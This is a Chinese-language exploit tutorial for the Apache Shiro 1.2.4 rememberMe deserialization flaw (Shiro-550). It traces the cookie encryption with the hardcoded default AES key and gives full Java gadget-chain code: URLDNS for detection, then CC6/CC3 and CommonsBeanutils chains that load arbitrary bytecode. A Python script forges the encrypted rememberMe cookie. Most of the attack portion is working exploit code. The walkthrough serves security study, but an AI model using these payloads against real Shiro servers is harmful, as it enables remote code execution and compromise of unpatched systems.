Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
shiro550环境下载
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
idea打开后增加
samples\pom.xml
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
samples\web\pom.xml
71行版本改为1.2 , 77,93行注释掉
配置tomcat
启动
加密分析
从AbstractRememberMeManager.onSuccessfulLogin下断点开始分析,web页面使用root:secret登录,一定要勾选Remember
Me
这里判断cookie里面是否有RememberMe,存在的话调用rememberIdentity()方法
跟进rememberIdentity()方法,发现调用了getIdentityToRemember()和rememberIdentity()方法
跟进getIdentityToRemember()方法,发现返回了用户名,赋值给了principals
回到rememberIdentity()方法,再跟进rememberIdentity()方法,调用了convertPrincipalsToBytes()方法和rememberSerializedIdentity()方法
跟进convertPrincipalsToBytes(),他对用户名进行了序列化,然后调用了getCipherService()和encrypt()
跟进getCipherService()看看,返回了加密方式
回到convertPrincipalsToBytes(),进入encrypt()看看
这里跟上面一样,使用getCipherService()获取了加密方式,然后使用cipherService.encrypt()进行加密
跟一下密钥getEncryptionCipherKey()
继续跟
继续
跟进
跟一下DEFAULT_CIPHER_KEY_BYTES,发现了密钥
回到rememberIdentity()方法,bytes现在存储的是经过aes加密的序列化字节
跟进rememberSerializedIdentity(),对加密后的值进行了编码并写入到cookie的rememberme字段
序列化--->AES加密--->base64编码--->设置到 cookie 中的
rememberme 字段
解密分析
从org/apache/shiro/mgt/DefaultSecurityManager.java#getRememberedIdentity()开始分析
跟进getRememberedPrincipals()方法
分别调用了getRememberedSerializedIdentity()和convertBytesToPrincipals()方法
先去getRememberedSerializedIdentity()方法看看,从cookie获取了rememberme值进行了base64解密
convertBytesToPrincipals()方法,调用了getCipherService()和()方法
decrypt()方法进行了解密
回到convertBytesToPrincipals()方法,跟进deserialize()方法
继续跟进到getSerializer().deserialize方法,反序列化了字节数组
读取 cookie 中的 rememberMe--->base64 解码--->AES
解密--->反序列化
URLDNS链分析
URLDNS是ysoserial里面的一条链,一般用于检测是否存在java反序列化漏洞
漏洞原理:
HashMap实现了Serializable接口,重写了readObject,
在反序列化时会调用hash函数计算key的hashCode,而URL的hashCode在计算时会调用getHostAddress来解析域名,
从而触发DNS查询。
ysoserial的利用链
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
- URL.hashCode()
从上往下跟,先进入HashMap.readObject(),它重写了readObject方法。
最终它使用了putVal()方法,并且会调用hash()方法
跟进hash方法(),如果key不等于null,就会调用key.hashCode方法
跟进hashCode()方法,由于在ysoserial中的URLDNS是利用URL对象,那么就要跟进URL类中的hashCode()方法
进入到URL类,发现URL类实现了serlazerb,可以被序列化
跟进到URL#hashCode,在hashCode等于-1的时候会调用handler.hashCode,
跟进hashCode发现默认值为-1
回到hashCode方法,看看handler.hashCode()是什么,发现它调用了getHostAddress方法
跟进getHostAddress方法,里面调用了InetAddress.getByName(host),会进行解析主机名,进而产生DNS记录。
发现HashMap的put方法同样使用了hash方法
跟进去发现是跟上面一样的hash,也就是说只要给HashMap的put方法的第一个参数传递一个URL,就能调用到URL类的hashCode方法进行发起一次DNS查询
构造代码测试
import java.io.IOException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://dnslog.cn");
hashMap.put(url,2);
}
}
DNSLOG收到请求
我们把HashMap序列化,再次反序列化看看会不会触发DNS查询
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://dnslog.cn");
hashMap.put(url,2);
serialize(hashMap);
unserialize("ser.bin");
}
}
由于hashCode默认为-1,在序列化时候会进行一次dns查询,现在要让它仅在反序列化时候再进行DNS查询
使用java反射修改hashCode默认值,在序列化时候赋值非-1的int类型,这样在序列化时候就不会触发DNS查询
在反序列化时候,hashCode还是-1,最终触发DNS查询
最终代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://y8wpv0.dnslog.cn");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,1);
hashMap.put(url,2);
field.set(url,-1);
serialize(hashMap);
// unserialize("ser.bin");
}
}
使用python脚本将序列化的数据进行加密并编码带入到cookie
import uuid
import base64
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
return f.read()
def encode_rememberme():
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(get_file_data("ser.bin"))
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme()
print("rememberMe={0}".format(payload.decode()))
生成后带入cookie发过去就可以看到DNS请求
URLDNS调用链
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode().handler.hashCode() -> URLStreamHandler.hashCode().getHostAddress() -> URLStreamHandler.getHostAddress().InetAddress.getByName()
CC链分析
URLDNS链多用于探测漏洞是否存在,最终我们还需要执行代码
pom添加上CC依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
使用CC链打一下发现报错了,尝试加载CC的Transformer类,但是没有找到
想办法构造一条不使用Transformer的利用链
定位到java.util.HashMap#readObject
调用了hash方法
hash调用了hashcode,由于key可控,传递为TiedMapEntry可调用到TiedMapEntry.hashCode
发现调用了getValue方法
又调用了get方法
并且map参数可控
如果map为LazyMap,会调用到LazyMap#get,并且发现get调用了transform
并且factory值可控
如果赋值为InvokerTransfomer,则会调用InvokerTransfomer.transform(key)
使用InvokerTransformer.transform调用newTransformer()方法,input要在最前面(TiedMapEntry)要传递TemplatesImpl类
后面就是CC3的代码了,利用了类的动态加载机制,一共用到了CC6和CC2以及CC3,直接复制过来代码拼接起来
完整代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shiro_CC6 {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates, bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
//CC6
Map<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "b");
//反射调用&删除 factory.transform的key值
Class lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, invokerTransformer);
lazyMap.remove(templates);
serialize(map1);
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
}
加密编码后放到cookie传输
利用链
HashMap.readObject-->TiedMapEntry.hashCode-->LazyMap#get-->InvokerTransformer#transform-->TemplatesImpl.newTransformer()-->defineClass->newInstance
CB链分析
在shiro中大多数情况下并没有引用CC依赖,从而无法使用CC链去进行利用。但是默认使用了Commons
Beanutils,可以使用CB链进行利用。
org.apache.commons.beanutils.PropertyUtils#getProperty方法可以调用任意
JavaBean 的 getter 方法。
示例:
package org.example;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Bean {
private String name = "Test";
public String getName(){
return name;
}
public void setName (String name) {
this.name = name;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
}
}
getOutputProperties方法调用了newTransformer(),它可以动态加载类进行代码执行,并且getOutputProperties方法符合JavaBean
的命名格式。
代码调试:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CB1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
}
}
成功执行了命令,下一步看哪里调用了getProperty,构造一条利用链出来
跟进到org.apache.commons.beanutils.PropertyUtils#getProperty看哪里调用了它,发现BeanComparator#compare调用了getter
并且getProperty的参数可控
compare方法在CC2和CC4都进行调用了,之前用的是TransformingComparator.compare,如果把TransformingComparator替换为BeanComparator,这条链就连起来了。
完整代码:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws Exception {
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"a");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecode = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] bytecodes = {bytecode};
bytecodesField.set(templates,bytecodes);
//CB
BeanComparator comparator = new BeanComparator("outputProperties", new AttrCompare());
//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Field comparator1 = PriorityQueue.class.getDeclaredField("comparator");
comparator1.setAccessible(true);
comparator1.set(priorityQueue,comparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}
编码后通过cookie发送
利用链
PriorityQueue#readObject-->BeanComparator#compare-->PropertyUtils.getProperty-->TemplatesImpl#getOutputProperties-->TemplatesImpl.newTransformer()-->defineClass->newInstance





























































